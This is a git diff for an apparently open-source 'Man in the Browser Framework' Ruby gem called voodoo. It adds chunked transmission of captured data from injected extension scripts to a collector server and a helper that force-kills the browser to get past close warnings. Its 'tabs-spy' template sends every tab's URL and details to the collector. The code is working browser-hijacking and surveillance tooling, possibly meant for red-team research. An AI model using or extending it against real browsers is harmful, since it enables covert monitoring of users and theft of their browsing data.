diff --git a/lib/voodoo/browser.rb b/lib/voodoo/browser.rb index d8ddcfc..a824737 100644 --- a/lib/voodoo/browser.rb +++ b/lib/voodoo/browser.rb @@ -49,11 +49,15 @@ def add_permissions(permissions) @extension.manifest[:permissions] += permissions end - def hijack(urls = [], flags: '') + def close_browser # kill the browser process twise, to bypass close warning `pkill -a -i "#{@process_name}"` `pkill -a -i "#{@process_name}"` sleep 0.2 + end + + def hijack(urls = [], flags: '') + close_browser() urls = [urls] unless urls.kind_of? Array urls = urls.uniq @@ -92,7 +96,7 @@ def Browser.Chromium self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium') end - def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil) + def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil, communication: true) if matches != nil && background != false puts 'WARNING: matches is ignored when background is set to true.' end @@ -107,8 +111,8 @@ def add_script(content: nil, file: nil, matches: nil, options: {}, background: f event_count = 0 - if block_given? - collector = Collector.new + if block_given? && communication == true + collector = Collector.new(close_browser: method(:close_browser)) collector.on_json {|jsond| yield jsond if (max_events != nil) @@ -158,15 +162,6 @@ def add_script(content: nil, file: nil, matches: nil, options: {}, background: f return @extension.add_content_script(matches, js: [content]) end end - - protected - - def make_collector - collector = Collector.new - collector.on_json {|jsond| yield jsond } - @collector_threads.push(collector.thread) - return collector - end end end \ No newline at end of file diff --git a/lib/voodoo/cli.rb b/lib/voodoo/cli.rb index 04e61bd..1d52dd4 100644 --- a/lib/voodoo/cli.rb +++ b/lib/voodoo/cli.rb @@ -6,7 +6,7 @@ module VOODOO - VERSION = 'v0.0.11' + VERSION = 'v0.0.12' class CLI < Thor @@ -108,7 +108,7 @@ def template(path) end browser_inst = template['browser'] || {} - browser = get_browser(options[:browser] || browser_inst['name'] || 'chrome') + browser = get_browser(options[:browser] || browser_inst['name'] || browser_inst['default'] || 'chrome') if template['permissions'] browser.add_permissions template['permissions'] @@ -128,9 +128,14 @@ def template(path) content = script['content'] matches = script['matches'] background = script['background'] || false - + communication = true + + if script.keys.include? 'communication' + communication = script['communication'] + end + if output_handler.writable - browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background) do |event| + browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background, communication: communication) do |event| output_handler.handle(event) end else diff --git a/lib/voodoo/collector.rb b/lib/voodoo/collector.rb index 1080d9d..4f32330 100644 --- a/lib/voodoo/collector.rb +++ b/lib/voodoo/collector.rb @@ -9,7 +9,9 @@ class Collector attr_reader :thread attr_reader :token - def initialize(port = 0) + def initialize(port = 0, close_browser: nil) + @chunks = [] + @close_browser = close_browser if port == 0 tmp_server = TCPServer.open('127.0.0.1', 0) @port = tmp_server.addr[1] @@ -50,6 +52,31 @@ def on_json socket.close jsonData = JSON.parse(post_body, {:symbolize_names => true}) + + if jsonData[:log] + puts jsonData[:log] + end + + if jsonData[:chunk] + @chunks << jsonData[:payload][1] + if jsonData[:payload][0] == @chunks.length + payload = { + payload: @chunks.join('') + } + @chunks = [] + yield payload + end + return + end + + if jsonData[:kill] == true + if jsonData[:close_browser] && @close_browser != nil + @close_browser.call() + end + self.thread.kill + return + end + yield jsonData rescue end diff --git a/lib/voodoo/js/voodoo.js b/lib/voodoo/js/voodoo.js index 6f8c144..1f9539a 100644 --- a/lib/voodoo/js/voodoo.js +++ b/lib/voodoo/js/voodoo.js @@ -4,25 +4,64 @@ if (!sessionStorage.tab_uuid) { const VOODOO = { options: { collector_url: "%{collector_url}" }, - send(payload) { - if (!VOODOO.options.collector_url) { + utils: { + sleep(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); + }, + chunk_string(str, length) { + return str.match(new RegExp('.{1,' + length + '}', 'g')); + }, + is_bg_script: window.location.href.indexOf("_generated_background_page.html") !== -1, + send(body) { + if (!VOODOO.options.collector_url) { + return; + } + + body = JSON.stringify(body); + + if (VOODOO.utils.is_bg_script) { + return navigator.sendBeacon(VOODOO.options.collector_url, body); + } + + chrome.runtime.sendMessage({ + collector_url: VOODOO.options.collector_url, body + }); + } + }, + log(msg) { + VOODOO.utils.send({ log: msg.toString() }); + return VOODOO; + }, + kill(options = {}) { + VOODOO.utils.send({ ...options, kill: true }); + return VOODOO; + }, + async send(payload) { + let chunks = []; + + if (typeof payload === "string" && payload.length > 10000) { + chunks = VOODOO.utils.chunk_string(payload, 10000); + } + + if (chunks.length > 0) { + for (let i in chunks) { + VOODOO.utils.send({ + chunk: i, + payload: [chunks.length, chunks[i]] + }); + await VOODOO.utils.sleep(1); + } return; } - const body = JSON.stringify({ + VOODOO.utils.send({ time: new Date().getTime(), tab_uuid: sessionStorage.tab_uuid, origin: window.location.origin, payload }); - if (window.location.href.indexOf("_generated_background_page.html") !== -1) { - return navigator.sendBeacon(VOODOO.options.collector_url, body); - } - - chrome.runtime.sendMessage({ - collector_url: VOODOO.options.collector_url, body - }); + return VOODOO; } }; diff --git a/templates/tabs-spy.yaml b/templates/tabs-spy.yaml index fbad377..de2e3cd 100644 --- a/templates/tabs-spy.yaml +++ b/templates/tabs-spy.yaml @@ -2,7 +2,7 @@ info: name: Tabs Spy author: Mr. Test -output: payload +format: payload scripts: - content: chrome.tabs.onUpdated.addListener((_,tab) => VOODOO.send(tab)); diff --git a/voodoo.gemspec b/voodoo.gemspec index 80431a5..47e1f56 100644 --- a/voodoo.gemspec +++ b/voodoo.gemspec @@ -1,6 +1,6 @@ Gem::Specification.new do |s| s.name = 'get-voodoo' - s.version = '0.0.11' + s.version = '0.0.12' s.summary = 'Man in the Browser Framework' s.description = 'Man in the Browser Framework' s.authors = ['Ron Masas']